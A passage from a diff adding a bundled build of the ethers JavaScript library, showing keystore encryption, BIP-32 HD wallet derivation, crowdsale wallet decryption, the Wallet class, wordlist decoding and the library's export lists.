hexlify(mnemonicCiphertext).substring(2), + version: "0.1" + }; + } + return JSON.stringify(data); + } + /** + * Return the JSON Keystore Wallet for %%account%% encrypted with + * %%password%%. + * + * The %%options%% can be used to tune the password-based key + * derivation function parameters, explicitly set the random values + * used. Any provided [[ProgressCallback]] is ignord. + */ + function encryptKeystoreJsonSync(account, password, options) { + if (options == null) { + options = {}; + } + const passwordBytes = getPassword(password); + const kdf = getEncryptKdfParams(options); + const key = scryptSync(passwordBytes, kdf.salt, kdf.N, kdf.r, kdf.p, 64); + return _encryptKeystore(getBytes(key), kdf, account, options); + } + /** + * Resolved to the JSON Keystore Wallet for %%account%% encrypted + * with %%password%%. + * + * The %%options%% can be used to tune the password-based key + * derivation function parameters, explicitly set the random values + * used and provide a [[ProgressCallback]] to receive periodic updates + * on the completion status.. + */ + async function encryptKeystoreJson(account, password, options) { + if (options == null) { + options = {}; + } + const passwordBytes = getPassword(password); + const kdf = getEncryptKdfParams(options); + const key = await scrypt(passwordBytes, kdf.salt, kdf.N, kdf.r, kdf.p, 64, options.progressCallback); + return _encryptKeystore(getBytes(key), kdf, account, options); + } + + /** + * Explain HD Wallets.. + * + * @_subsection: api/wallet:HD Wallets [hd-wallets] + */ + /** + * The default derivation path for Ethereum HD Nodes. (i.e. ``"m/44'/60'/0'/0/0"``) + */ + const defaultPath = "m/44'/60'/0'/0/0"; + // "Bitcoin seed" + const MasterSecret = new Uint8Array([66, 105, 116, 99, 111, 105, 110, 32, 115, 101, 101, 100]); + const HardenedBit = 0x80000000; + const N = BigInt("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141"); + const Nibbles = "0123456789abcdef"; + function zpad(value, length) { + let result = ""; + while (value) { + result = Nibbles[value % 16] + result; + value = Math.trunc(value / 16); + } + while (result.length < length * 2) { + result = "0" + result; + } + return "0x" + result; + } + function encodeBase58Check(_value) { + const value = getBytes(_value); + const check = dataSlice(sha256(sha256(value)), 0, 4); + const bytes = concat([value, check]); + return encodeBase58(bytes); + } + const _guard = {}; + function ser_I(index, chainCode, publicKey, privateKey) { + const data = new Uint8Array(37); + if (index & HardenedBit) { + assert(privateKey != null, "cannot derive child of neutered node", "UNSUPPORTED_OPERATION", { + operation: "deriveChild" + }); + // Data = 0x00 || ser_256(k_par) + data.set(getBytes(privateKey), 1); + } + else { + // Data = ser_p(point(k_par)) + data.set(getBytes(publicKey)); + } + // Data += ser_32(i) + for (let i = 24; i >= 0; i -= 8) { + data[33 + (i >> 3)] = ((index >> (24 - i)) & 0xff); + } + const I = getBytes(computeHmac("sha512", chainCode, data)); + return { IL: I.slice(0, 32), IR: I.slice(32) }; + } + function derivePath(node, path) { + const components = path.split("/"); + assertArgument(components.length > 0, "invalid path", "path", path); + if (components[0] === "m") { + assertArgument(node.depth === 0, `cannot derive root path (i.e. path starting with "m/") for a node at non-zero depth ${node.depth}`, "path", path); + components.shift(); + } + let result = node; + for (let i = 0; i < components.length; i++) { + const component = components[i]; + if (component.match(/^[0-9]+'$/)) { + const index = parseInt(component.substring(0, component.length - 1)); + assertArgument(index < HardenedBit, "invalid path index", `path[${i}]`, component); + result = result.deriveChild(HardenedBit + index); + } + else if (component.match(/^[0-9]+$/)) { + const index = parseInt(component); + assertArgument(index < HardenedBit, "invalid path index", `path[${i}]`, component); + result = result.deriveChild(index); + } + else { + assertArgument(false, "invalid path component", `path[${i}]`, component); + } + } + return result; + } + /** + * An **HDNodeWallet** is a [[Signer]] backed by the private key derived + * from an HD Node using the [[link-bip-32]] stantard. + * + * An HD Node forms a hierarchal structure with each HD Node having a + * private key and the ability to derive child HD Nodes, defined by + * a path indicating the index of each child. + */ + class HDNodeWallet extends BaseWallet { + /** + * The compressed public key. + */ + publicKey; + /** + * The fingerprint. + * + * A fingerprint allows quick qay to detect parent and child nodes, + * but developers should be prepared to deal with collisions as it + * is only 4 bytes. + */ + fingerprint; + /** + * The parent fingerprint. + */ + parentFingerprint; + /** + * The mnemonic used to create this HD Node, if available. + * + * Sources such as extended keys do not encode the mnemonic, in + * which case this will be ``null``. + */ + mnemonic; + /** + * The chaincode, which is effectively a public key used + * to derive children. + */ + chainCode; + /** + * The derivation path of this wallet. + * + * Since extended keys do not provide full path details, this + * may be ``null``, if instantiated from a source that does not + * encode it. + */ + path; + /** + * The child index of this wallet. Values over ``2 *\* 31`` indicate + * the node is hardened. + */ + index; + /** + * The depth of this wallet, which is the number of components + * in its path. + */ + depth; + /** + * @private + */ + constructor(guard, signingKey, parentFingerprint, chainCode, path, index, depth, mnemonic, provider) { + super(signingKey, provider); + assertPrivate(guard, _guard, "HDNodeWallet"); + defineProperties(this, { publicKey: signingKey.compressedPublicKey }); + const fingerprint = dataSlice(ripemd160(sha256(this.publicKey)), 0, 4); + defineProperties(this, { + parentFingerprint, fingerprint, + chainCode, path, index, depth + }); + defineProperties(this, { mnemonic }); + } + connect(provider) { + return new HDNodeWallet(_guard, this.signingKey, this.parentFingerprint, this.chainCode, this.path, this.index, this.depth, this.mnemonic, provider); + } + #account() { + const account = { address: this.address, privateKey: this.privateKey }; + const m = this.mnemonic; + if (this.path && m && m.wordlist.locale === "en" && m.password === "") { + account.mnemonic = { + path: this.path, + locale: "en", + entropy: m.entropy + }; + } + return account; + } + /** + * Resolves to a [JSON Keystore Wallet](json-wallets) encrypted with + * %%password%%. + * + * If %%progressCallback%% is specified, it will receive periodic + * updates as the encryption process progreses. + */ + async encrypt(password, progressCallback) { + return await encryptKeystoreJson(this.#account(), password, { progressCallback }); + } + /** + * Returns a [JSON Keystore Wallet](json-wallets) encryped with + * %%password%%. + * + * It is preferred to use the [async version](encrypt) instead, + * which allows a [[ProgressCallback]] to keep the user informed. + * + * This method will block the event loop (freezing all UI) until + * it is complete, which may be a non-trivial duration. + */ + encryptSync(password) { + return encryptKeystoreJsonSync(this.#account(), password); + } + /** + * The extended key. + * + * This key will begin with the prefix ``xpriv`` and can be used to + * reconstruct this HD Node to derive its children. + */ + get extendedKey() { + // We only support the mainnet values for now, but if anyone needs + // testnet values, let me know. I believe current sentiment is that + // we should always use mainnet, and use BIP-44 to derive the network + // - Mainnet: public=0x0488B21E, private=0x0488ADE4 + // - Testnet: public=0x043587CF, private=0x04358394 + assert(this.depth < 256, "Depth too deep", "UNSUPPORTED_OPERATION", { operation: "extendedKey" }); + return encodeBase58Check(concat([ + "0x0488ADE4", zpad(this.depth, 1), this.parentFingerprint, + zpad(this.index, 4), this.chainCode, + concat(["0x00", this.privateKey]) + ])); + } + /** + * Returns true if this wallet has a path, providing a Type Guard + * that the path is non-null. + */ + hasPath() { return (this.path != null); } + /** + * Returns a neutered HD Node, which removes the private details + * of an HD Node. + * + * A neutered node has no private key, but can be used to derive + * child addresses and other public data about the HD Node. + */ + neuter() { + return new HDNodeVoidWallet(_guard, this.address, this.publicKey, this.parentFingerprint, this.chainCode, this.path, this.index, this.depth, this.provider); + } + /** + * Return the child for %%index%%. + */ + deriveChild(_index) { + const index = getNumber(_index, "index"); + assertArgument(index <= 0xffffffff, "invalid index", "index", index); + // Base path + let path = this.path; + if (path) { + path += "/" + (index & ~HardenedBit); + if (index & HardenedBit) { + path += "'"; + } + } + const { IR, IL } = ser_I(index, this.chainCode, this.publicKey, this.privateKey); + const ki = new SigningKey(toBeHex((toBigInt(IL) + BigInt(this.privateKey)) % N, 32)); + return new HDNodeWallet(_guard, ki, this.fingerprint, hexlify(IR), path, index, this.depth + 1, this.mnemonic, this.provider); + } + /** + * Return the HDNode for %%path%% from this node. + */ + derivePath(path) { + return derivePath(this, path); + } + static #fromSeed(_seed, mnemonic) { + assertArgument(isBytesLike(_seed), "invalid seed", "seed", "[REDACTED]"); + const seed = getBytes(_seed, "seed"); + assertArgument(seed.length >= 16 && seed.length <= 64, "invalid seed", "seed", "[REDACTED]"); + const I = getBytes(computeHmac("sha512", MasterSecret, seed)); + const signingKey = new SigningKey(hexlify(I.slice(0, 32))); + return new HDNodeWallet(_guard, signingKey, "0x00000000", hexlify(I.slice(32)), "m", 0, 0, mnemonic, null); + } + /** + * Creates a new HD Node from %%extendedKey%%. + * + * If the %%extendedKey%% will either have a prefix or ``xpub`` or + * ``xpriv``, returning a neutered HD Node ([[HDNodeVoidWallet]]) + * or full HD Node ([[HDNodeWallet) respectively. + */ + static fromExtendedKey(extendedKey) { + const bytes = toBeArray(decodeBase58(extendedKey)); // @TODO: redact + assertArgument(bytes.length === 82 || encodeBase58Check(bytes.slice(0, 78)) === extendedKey, "invalid extended key", "extendedKey", "[ REDACTED ]"); + const depth = bytes[4]; + const parentFingerprint = hexlify(bytes.slice(5, 9)); + const index = parseInt(hexlify(bytes.slice(9, 13)).substring(2), 16); + const chainCode = hexlify(bytes.slice(13, 45)); + const key = bytes.slice(45, 78); + switch (hexlify(bytes.slice(0, 4))) { + // Public Key + case "0x0488b21e": + case "0x043587cf": { + const publicKey = hexlify(key); + return new HDNodeVoidWallet(_guard, computeAddress(publicKey), publicKey, parentFingerprint, chainCode, null, index, depth, null); + } + // Private Key + case "0x0488ade4": + case "0x04358394 ": + if (key[0] !== 0) { + break; + } + return new HDNodeWallet(_guard, new SigningKey(key.slice(1)), parentFingerprint, chainCode, null, index, depth, null, null); + } + assertArgument(false, "invalid extended key prefix", "extendedKey", "[ REDACTED ]"); + } + /** + * Creates a new random HDNode. + */ + static createRandom(password, path, wordlist) { + if (password == null) { + password = ""; + } + if (path == null) { + path = defaultPath; + } + if (wordlist == null) { + wordlist = LangEn.wordlist(); + } + const mnemonic = Mnemonic.fromEntropy(randomBytes(16), password, wordlist); + return HDNodeWallet.#fromSeed(mnemonic.computeSeed(), mnemonic).derivePath(path); + } + /** + * Create an HD Node from %%mnemonic%%. + */ + static fromMnemonic(mnemonic, path) { + if (!path) { + path = defaultPath; + } + return HDNodeWallet.#fromSeed(mnemonic.computeSeed(), mnemonic).derivePath(path); + } + /** + * Creates an HD Node from a mnemonic %%phrase%%. + */ + static fromPhrase(phrase, password, path, wordlist) { + if (password == null) { + password = ""; + } + if (path == null) { + path = defaultPath; + } + if (wordlist == null) { + wordlist = LangEn.wordlist(); + } + const mnemonic = Mnemonic.fromPhrase(phrase, password, wordlist); + return HDNodeWallet.#fromSeed(mnemonic.computeSeed(), mnemonic).derivePath(path); + } + /** + * Creates an HD Node from a %%seed%%. + */ + static fromSeed(seed) { + return HDNodeWallet.#fromSeed(seed, null); + } + } + /** + * A **HDNodeVoidWallet** cannot sign, but provides access to + * the children nodes of a [[link-bip-32]] HD wallet addresses. + * + * The can be created by using an extended ``xpub`` key to + * [[HDNodeWallet_fromExtendedKey]] or by + * [nuetering](HDNodeWallet-neuter) a [[HDNodeWallet]]. + */ + class HDNodeVoidWallet extends VoidSigner { + /** + * The compressed public key. + */ + publicKey; + /** + * The fingerprint. + * + * A fingerprint allows quick qay to detect parent and child nodes, + * but developers should be prepared to deal with collisions as it + * is only 4 bytes. + */ + fingerprint; + /** + * The parent node fingerprint. + */ + parentFingerprint; + /** + * The chaincode, which is effectively a public key used + * to derive children. + */ + chainCode; + /** + * The derivation path of this wallet. + * + * Since extended keys do not provider full path details, this + * may be ``null``, if instantiated from a source that does not + * enocde it. + */ + path; + /** + * The child index of this wallet. Values over ``2 *\* 31`` indicate + * the node is hardened. + */ + index; + /** + * The depth of this wallet, which is the number of components + * in its path. + */ + depth; + /** + * @private + */ + constructor(guard, address, publicKey, parentFingerprint, chainCode, path, index, depth, provider) { + super(address, provider); + assertPrivate(guard, _guard, "HDNodeVoidWallet"); + defineProperties(this, { publicKey }); + const fingerprint = dataSlice(ripemd160(sha256(publicKey)), 0, 4); + defineProperties(this, { + publicKey, fingerprint, parentFingerprint, chainCode, path, index, depth + }); + } + connect(provider) { + return new HDNodeVoidWallet(_guard, this.address, this.publicKey, this.parentFingerprint, this.chainCode, this.path, this.index, this.depth, provider); + } + /** + * The extended key. + * + * This key will begin with the prefix ``xpub`` and can be used to + * reconstruct this neutered key to derive its children addresses. + */ + get extendedKey() { + // We only support the mainnet values for now, but if anyone needs + // testnet values, let me know. I believe current sentiment is that + // we should always use mainnet, and use BIP-44 to derive the network + // - Mainnet: public=0x0488B21E, private=0x0488ADE4 + // - Testnet: public=0x043587CF, private=0x04358394 + assert(this.depth < 256, "Depth too deep", "UNSUPPORTED_OPERATION", { operation: "extendedKey" }); + return encodeBase58Check(concat([ + "0x0488B21E", + zpad(this.depth, 1), + this.parentFingerprint, + zpad(this.index, 4), + this.chainCode, + this.publicKey, + ])); + } + /** + * Returns true if this wallet has a path, providing a Type Guard + * that the path is non-null. + */ + hasPath() { return (this.path != null); } + /** + * Return the child for %%index%%. + */ + deriveChild(_index) { + const index = getNumber(_index, "index"); + assertArgument(index <= 0xffffffff, "invalid index", "index", index); + // Base path + let path = this.path; + if (path) { + path += "/" + (index & ~HardenedBit); + if (index & HardenedBit) { + path += "'"; + } + } + const { IR, IL } = ser_I(index, this.chainCode, this.publicKey, null); + const Ki = SigningKey.addPoints(IL, this.publicKey, true); + const address = computeAddress(Ki); + return new HDNodeVoidWallet(_guard, address, Ki, this.fingerprint, hexlify(IR), path, index, this.depth + 1, this.provider); + } + /** + * Return the signer for %%path%% from this node. + */ + derivePath(path) { + return derivePath(this, path); + } + } + /* + export class HDNodeWalletManager { + #root: HDNodeWallet; + + constructor(phrase: string, password?: null | string, path?: null | string, locale?: null | Wordlist) { + if (password == null) { password = ""; } + if (path == null) { path = "m/44'/60'/0'/0"; } + if (locale == null) { locale = LangEn.wordlist(); } + this.#root = HDNodeWallet.fromPhrase(phrase, password, path, locale); + } + + getSigner(index?: number): HDNodeWallet { + return this.#root.deriveChild((index == null) ? 0: index); + } + } + */ + /** + * Returns the [[link-bip-32]] path for the account at %%index%%. + * + * This is the pattern used by wallets like Ledger. + * + * There is also an [alternate pattern](getIndexedAccountPath) used by + * some software. + */ + function getAccountPath(_index) { + const index = getNumber(_index, "index"); + assertArgument(index >= 0 && index < HardenedBit, "invalid account index", "index", index); + return `m/44'/60'/${index}'/0/0`; + } + /** + * Returns the path using an alternative pattern for deriving accounts, + * at %%index%%. + * + * This derivation path uses the //index// component rather than the + * //account// component to derive sequential accounts. + * + * This is the pattern used by wallets like MetaMask. + */ + function getIndexedAccountPath(_index) { + const index = getNumber(_index, "index"); + assertArgument(index >= 0 && index < HardenedBit, "invalid account index", "index", index); + return `m/44'/60'/0'/0/${index}`; + } + + /** + * @_subsection: api/wallet:JSON Wallets [json-wallets] + */ + /** + * Returns true if %%json%% is a valid JSON Crowdsale wallet. + */ + function isCrowdsaleJson(json) { + try { + const data = JSON.parse(json); + if (data.encseed) { + return true; + } + } + catch (error) { } + return false; + } + // See: https://github.com/ethereum/pyethsaletool + /** + * Before Ethereum launched, it was necessary to create a wallet + * format for backers to use, which would be used to receive ether + * as a reward for contributing to the project. + * + * The [[link-crowdsale]] format is now obsolete, but it is still + * useful to support and the additional code is fairly trivial as + * all the primitives required are used through core portions of + * the library. + */ + function decryptCrowdsaleJson(json, _password) { + const data = JSON.parse(json); + const password = getPassword(_password); + // Ethereum Address + const address = getAddress(spelunk(data, "ethaddr:string!")); + // Encrypted Seed + const encseed = looseArrayify(spelunk(data, "encseed:string!")); + assertArgument(encseed && (encseed.length % 16) === 0, "invalid encseed", "json", json); + const key = getBytes(pbkdf2(password, password, 2000, 32, "sha256")).slice(0, 16); + const iv = encseed.slice(0, 16); + const encryptedSeed = encseed.slice(16); + // Decrypt the seed + const aesCbc = new CBC(key, iv); + const seed = pkcs7Strip(getBytes(aesCbc.decrypt(encryptedSeed))); + // This wallet format is weird... Convert the binary encoded hex to a string. + let seedHex = ""; + for (let i = 0; i < seed.length; i++) { + seedHex += String.fromCharCode(seed[i]); + } + return { address, privateKey: id(seedHex) }; + } + + function stall(duration) { + return new Promise((resolve) => { setTimeout(() => { resolve(); }, duration); }); + } + /** + * A **Wallet** manages a single private key which is used to sign + * transactions, messages and other common payloads. + * + * This class is generally the main entry point for developers + * that wish to use a private key directly, as it can create + * instances from a large variety of common sources, including + * raw private key, [[link-bip-39]] mnemonics and encrypte JSON + * wallets. + */ + class Wallet extends BaseWallet { + /** + * Create a new wallet for the private %%key%%, optionally connected + * to %%provider%%. + */ + constructor(key, provider) { + if (typeof (key) === "string" && !key.startsWith("0x")) { + key = "0x" + key; + } + let signingKey = (typeof (key) === "string") ? new SigningKey(key) : key; + super(signingKey, provider); + } + connect(provider) { + return new Wallet(this.signingKey, provider); + } + /** + * Resolves to a [JSON Keystore Wallet](json-wallets) encrypted with + * %%password%%. + * + * If %%progressCallback%% is specified, it will receive periodic + * updates as the encryption process progreses. + */ + async encrypt(password, progressCallback) { + const account = { address: this.address, privateKey: this.privateKey }; + return await encryptKeystoreJson(account, password, { progressCallback }); + } + /** + * Returns a [JSON Keystore Wallet](json-wallets) encryped with + * %%password%%. + * + * It is preferred to use the [async version](encrypt) instead, + * which allows a [[ProgressCallback]] to keep the user informed. + * + * This method will block the event loop (freezing all UI) until + * it is complete, which may be a non-trivial duration. + */ + encryptSync(password) { + const account = { address: this.address, privateKey: this.privateKey }; + return encryptKeystoreJsonSync(account, password); + } + static #fromAccount(account) { + assertArgument(account, "invalid JSON wallet", "json", "[ REDACTED ]"); + if ("mnemonic" in account && account.mnemonic && account.mnemonic.locale === "en") { + const mnemonic = Mnemonic.fromEntropy(account.mnemonic.entropy); + const wallet = HDNodeWallet.fromMnemonic(mnemonic, account.mnemonic.path); + if (wallet.address === account.address && wallet.privateKey === account.privateKey) { + return wallet; + } + console.log("WARNING: JSON mismatch address/privateKey != mnemonic; fallback onto private key"); + } + const wallet = new Wallet(account.privateKey); + assertArgument(wallet.address === account.address, "address/privateKey mismatch", "json", "[ REDACTED ]"); + return wallet; + } + /** + * Creates (asynchronously) a **Wallet** by decrypting the %%json%% + * with %%password%%. + * + * If %%progress%% is provided, it is called periodically during + * decryption so that any UI can be updated. + */ + static async fromEncryptedJson(json, password, progress) { + let account = null; + if (isKeystoreJson(json)) { + account = await decryptKeystoreJson(json, password, progress); + } + else if (isCrowdsaleJson(json)) { + if (progress) { + progress(0); + await stall(0); + } + account = decryptCrowdsaleJson(json, password); + if (progress) { + progress(1); + await stall(0); + } + } + return Wallet.#fromAccount(account); + } + /** + * Creates a **Wallet** by decrypting the %%json%% with %%password%%. + * + * The [[fromEncryptedJson]] method is preferred, as this method + * will lock up and freeze the UI during decryption, which may take + * some time. + */ + static fromEncryptedJsonSync(json, password) { + let account = null; + if (isKeystoreJson(json)) { + account = decryptKeystoreJsonSync(json, password); + } + else if (isCrowdsaleJson(json)) { + account = decryptCrowdsaleJson(json, password); + } + else { + assertArgument(false, "invalid JSON wallet", "json", "[ REDACTED ]"); + } + return Wallet.#fromAccount(account); + } + /** + * Creates a new random [[HDNodeWallet]] using the available + * [cryptographic random source](randomBytes). + * + * If there is no crytographic random source, this will throw. + */ + static createRandom(provider) { + const wallet = HDNodeWallet.createRandom(); + if (provider) { + return wallet.connect(provider); + } + return wallet; + } + /** + * Creates a [[HDNodeWallet]] for %%phrase%%. + */ + static fromPhrase(phrase, provider) { + const wallet = HDNodeWallet.fromPhrase(phrase); + if (provider) { + return wallet.connect(provider); + } + return wallet; + } + } + + const Base64 = ")!@#$%^&*(ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_"; + /** + * @_ignore + */ + function decodeBits(width, data) { + const maxValue = (1 << width) - 1; + const result = []; + let accum = 0, bits = 0, flood = 0; + for (let i = 0; i < data.length; i++) { + // Accumulate 6 bits of data + accum = ((accum << 6) | Base64.indexOf(data[i])); + bits += 6; + // While we have enough for a word... + while (bits >= width) { + // ...read the word + const value = (accum >> (bits - width)); + accum &= (1 << (bits - width)) - 1; + bits -= width; + // A value of 0 indicates we exceeded maxValue, it + // floods over into the next value + if (value === 0) { + flood += maxValue; + } + else { + result.push(value + flood); + flood = 0; + } + } + } + return result; + } + + /** + * @_ignore + */ + function decodeOwlA(data, accents) { + let words = decodeOwl(data).join(","); + // Inject the accents + accents.split(/,/g).forEach((accent) => { + const match = accent.match(/^([a-z]*)([0-9]+)([0-9])(.*)$/); + assertArgument(match !== null, "internal error parsing accents", "accents", accents); + let posOffset = 0; + const positions = decodeBits(parseInt(match[3]), match[4]); + const charCode = parseInt(match[2]); + const regex = new RegExp(`([${match[1]}])`, "g"); + words = words.replace(regex, (all, letter) => { + const rem = --positions[posOffset]; + if (rem === 0) { + letter = String.fromCharCode(letter.charCodeAt(0), charCode); + posOffset++; + } + return letter; + }); + }); + return words.split(","); + } + + /** + * An OWL-A format Wordlist extends the OWL format to add an + * overlay onto an OWL format Wordlist to support diacritic + * marks. + * + * This class is generally not useful to most developers as + * it is used mainly internally to keep Wordlists for languages + * based on latin-1 small. + * + * If necessary, there are tools within the ``generation/`` folder + * to create the necessary data. + */ + class WordlistOwlA extends WordlistOwl { + #accent; + /** + * Creates a new Wordlist for %%locale%% using the OWLA %%data%% + * and %%accent%% data and validated against the %%checksum%%. + */ + constructor(locale, data, accent, checksum) { + super(locale, data, checksum); + this.#accent = accent; + } + /** + * The OWLA-encoded accent data. + */ + get _accent() { return this.#accent; } + /** + * Decode all the words for the wordlist. + */ + _decodeWords() { + return decodeOwlA(this._data, this._accent); + } + } + + const wordlists = { + en: LangEn.wordlist(), + }; + + ///////////////////////////// + // + // dummy change; to pick-up ws security issue changes + + var ethers = /*#__PURE__*/Object.freeze({ + __proto__: null, + AbiCoder: AbiCoder, + AbstractProvider: AbstractProvider, + AbstractSigner: AbstractSigner, + AlchemyProvider: AlchemyProvider, + AnkrProvider: AnkrProvider, + BaseContract: BaseContract, + BaseWallet: BaseWallet, + Block: Block, + BlockscoutProvider: BlockscoutProvider, + BrowserProvider: BrowserProvider, + ChainstackProvider: ChainstackProvider, + CloudflareProvider: CloudflareProvider, + ConstructorFragment: ConstructorFragment, + Contract: Contract, + ContractEventPayload: ContractEventPayload, + ContractFactory: ContractFactory, + ContractTransactionReceipt: ContractTransactionReceipt, + ContractTransactionResponse: ContractTransactionResponse, + ContractUnknownEventPayload: ContractUnknownEventPayload, + EnsPlugin: EnsPlugin, + EnsResolver: EnsResolver, + ErrorDescription: ErrorDescription, + ErrorFragment: ErrorFragment, + EtherSymbol: EtherSymbol, + EtherscanPlugin: EtherscanPlugin, + EtherscanProvider: EtherscanProvider, + EventFragment: EventFragment, + EventLog: EventLog, + EventPayload: EventPayload, + FallbackFragment: FallbackFragment, + FallbackProvider: FallbackProvider, + FeeData: FeeData, + FeeDataNetworkPlugin: FeeDataNetworkPlugin, + FetchCancelSignal: FetchCancelSignal, + FetchRequest: FetchRequest, + FetchResponse: FetchResponse, + FetchUrlFeeDataNetworkPlugin: FetchUrlFeeDataNetworkPlugin, + FixedNumber: FixedNumber, + Fragment: Fragment, + FunctionFragment: FunctionFragment, + GasCostPlugin: GasCostPlugin, + HDNodeVoidWallet: HDNodeVoidWallet, + HDNodeWallet: HDNodeWallet, + Indexed: Indexed, + InfuraProvider: InfuraProvider, + InfuraWebSocketProvider: InfuraWebSocketProvider, + Interface: Interface, + IpcSocketProvider: IpcSocketProvider, + JsonRpcApiProvider: JsonRpcApiProvider, + JsonRpcProvider: JsonRpcProvider, + JsonRpcSigner: JsonRpcSigner, + LangEn: LangEn, + Log: Log, + LogDescription: LogDescription, + MaxInt256: MaxInt256, + MaxUint256: MaxUint256, + MessagePrefix: MessagePrefix, + MinInt256: MinInt256, + Mnemonic: Mnemonic, + MulticoinProviderPlugin: MulticoinProviderPlugin, + N: N$1, + NamedFragment: NamedFragment, + Network: Network, + NetworkPlugin: NetworkPlugin, + NonceManager: NonceManager, + ParamType: ParamType, + PocketProvider: PocketProvider, + QuickNodeProvider: QuickNodeProvider, + Result: Result, + Signature: Signature, + SigningKey: SigningKey, + SocketBlockSubscriber: SocketBlockSubscriber, + SocketEventSubscriber: SocketEventSubscriber, + SocketPendingSubscriber: SocketPendingSubscriber, + SocketProvider: SocketProvider, + SocketSubscriber: SocketSubscriber, + StructFragment: StructFragment, + Transaction: Transaction, + TransactionDescription: TransactionDescription, + TransactionReceipt: TransactionReceipt, + TransactionResponse: TransactionResponse, + Typed: Typed, + TypedDataEncoder: TypedDataEncoder, + UndecodedEventLog: UndecodedEventLog, + UnmanagedSubscriber: UnmanagedSubscriber, + Utf8ErrorFuncs: Utf8ErrorFuncs, + VoidSigner: VoidSigner, + Wallet: Wallet, + WebSocketProvider: WebSocketProvider, + WeiPerEther: WeiPerEther, + Wordlist: Wordlist, + WordlistOwl: WordlistOwl, + WordlistOwlA: WordlistOwlA, + ZeroAddress: ZeroAddress, + ZeroHash: ZeroHash, + accessListify: accessListify, + assert: assert, + assertArgument: assertArgument, + assertArgumentCount: assertArgumentCount, + assertNormalize: assertNormalize, + assertPrivate: assertPrivate, + authorizationify: authorizationify, + checkResultErrors: checkResultErrors, + computeAddress: computeAddress, + computeHmac: computeHmac, + concat: concat, + copyRequest: copyRequest, + dataLength: dataLength, + dataSlice: dataSlice, + decodeBase58: decodeBase58, + decodeBase64: decodeBase64, + decodeBytes32String: decodeBytes32String, + decodeRlp: decodeRlp, + decryptCrowdsaleJson: decryptCrowdsaleJson, + decryptKeystoreJson: decryptKeystoreJson, + decryptKeystoreJsonSync: decryptKeystoreJsonSync, + defaultPath: defaultPath, + defineProperties: defineProperties, + dnsEncode: dnsEncode, + encodeBase58: encodeBase58, + encodeBase64: encodeBase64, + encodeBytes32String: encodeBytes32String, + encodeRlp: encodeRlp, + encryptKeystoreJson: encryptKeystoreJson, + encryptKeystoreJsonSync: encryptKeystoreJsonSync, + ensNormalize: ensNormalize, + formatEther: formatEther, + formatUnits: formatUnits, + fromTwos: fromTwos, + getAccountPath: getAccountPath, + getAddress: getAddress, + getBigInt: getBigInt, + getBytes: getBytes, + getBytesCopy: getBytesCopy, + getCreate2Address: getCreate2Address, + getCreateAddress: getCreateAddress, + getDefaultProvider: getDefaultProvider, + getIcapAddress: getIcapAddress, + getIndexedAccountPath: getIndexedAccountPath, + getNumber: getNumber, + getUint: getUint, + hashAuthorization: hashAuthorization, + hashMessage: hashMessage, + hexlify: hexlify, + id: id, + isAddress: isAddress, + isAddressable: isAddressable, + isBytesLike: isBytesLike, + isCallException: isCallException, + isCrowdsaleJson: isCrowdsaleJson, + isError: isError, + isHexString: isHexString, + isKeystoreJson: isKeystoreJson, + isValidName: isValidName, + keccak256: keccak256, + lock: lock, + makeError: makeError, + mask: mask, + namehash: namehash, + parseEther: parseEther, + parseUnits: parseUnits$1, + pbkdf2: pbkdf2, + randomBytes: randomBytes, + recoverAddress: recoverAddress, + resolveAddress: resolveAddress, + resolveProperties: resolveProperties, + ripemd160: ripemd160, + scrypt: scrypt, + scryptSync: scryptSync, + sha256: sha256, + sha512: sha512, + showThrottleMessage: showThrottleMessage, + solidityPacked: solidityPacked, + solidityPackedKeccak256: solidityPackedKeccak256, + solidityPackedSha256: solidityPackedSha256, + stripZerosLeft: stripZerosLeft, + toBeArray: toBeArray, + toBeHex: toBeHex, + toBigInt: toBigInt, + toNumber: toNumber, + toQuantity: toQuantity, + toTwos: toTwos, + toUtf8Bytes: toUtf8Bytes, + toUtf8CodePoints: toUtf8CodePoints, + toUtf8String: toUtf8String, + uuidV4: uuidV4, + verifyAuthorization: verifyAuthorization, + verifyMessage: verifyMessage, + verifyTypedData: verifyTypedData, + version: version, + wordlists: wordlists, + zeroPadBytes: zeroPadBytes, + zeroPadValue: zeroPadValue + }); + + exports.AbiCoder = AbiCoder; + exports.AbstractProvider = AbstractProvider; + exports.AbstractSigner = AbstractSigner; + exports.AlchemyProvider = AlchemyProvider; + exports.AnkrProvider = AnkrProvider; + exports.BaseContract = BaseContract; + exports.BaseWallet = BaseWallet; + exports.Block = Block; + exports.BlockscoutProvider = BlockscoutProvider; + exports.BrowserProvider = BrowserProvider; + exports.ChainstackProvider = ChainstackProvider; + exports.CloudflareProvider = CloudflareProvider; + exports.ConstructorFragment = ConstructorFragment; + exports.Contract = Contract; + exports.ContractEventPayload = ContractEventPayload; + exports.ContractFactory = ContractFactory; + exports.ContractTransactionReceipt = ContractTransactionReceipt; + exports.ContractTransactionResponse = ContractTransactionResponse; + exports.ContractUnknownEventPayload = ContractUnknownEventPayload; + exports.EnsPlugin = EnsPlugin; + exports.EnsResolver = EnsResolver; + exports.ErrorDescription = ErrorDescription; + exports.ErrorFragment = ErrorFragment; + exports.EtherSymbol = EtherSymbol; + exports.EtherscanPlugin = EtherscanPlugin; + exports.EtherscanProvider = EtherscanProvider; + exports.EventFragment = EventFragment; + exports.EventLog = EventLog; + exports.EventPayload = EventPayload; + exports.FallbackFragment = FallbackFragment; + exports.FallbackProvider = FallbackProvider; + exports.FeeData = FeeData; + exports.FeeDataNetworkPlugin = FeeDataNetworkPlugin; + exports.FetchCancelSignal = FetchCancelSignal; + exports.FetchRequest = FetchRequest; + exports.FetchResponse = FetchResponse; + exports.FetchUrlFeeDataNetworkPlugin = FetchUrlFeeDataNetworkPlugin; + exports.FixedNumber = FixedNumber; + exports.Fragment = Fragment; + exports.FunctionFragment = FunctionFragment; + exports.GasCostPlugin = GasCostPlugin; + exports.HDNodeVoidWallet = HDNodeVoidWallet; + exports.HDNodeWallet = HDNodeWallet; + exports.Indexed = Indexed; + exports.InfuraProvider = InfuraProvider; + exports.InfuraWebSocketProvider = InfuraWebSocketProvider; + exports.Interface = Interface; + exports.IpcSocketProvider = IpcSocketProvider; + exports.JsonRpcApiProvider = JsonRpcApiProvider; + exports.JsonRpcProvider = JsonRpcProvider; + exports.JsonRpcSigner = JsonRpcSigner; + exports.LangEn = LangEn; + exports.Log = Log; + exports.LogDescription = LogDescription; + exports.MaxInt256 = MaxInt256; + exports.MaxUint256 = 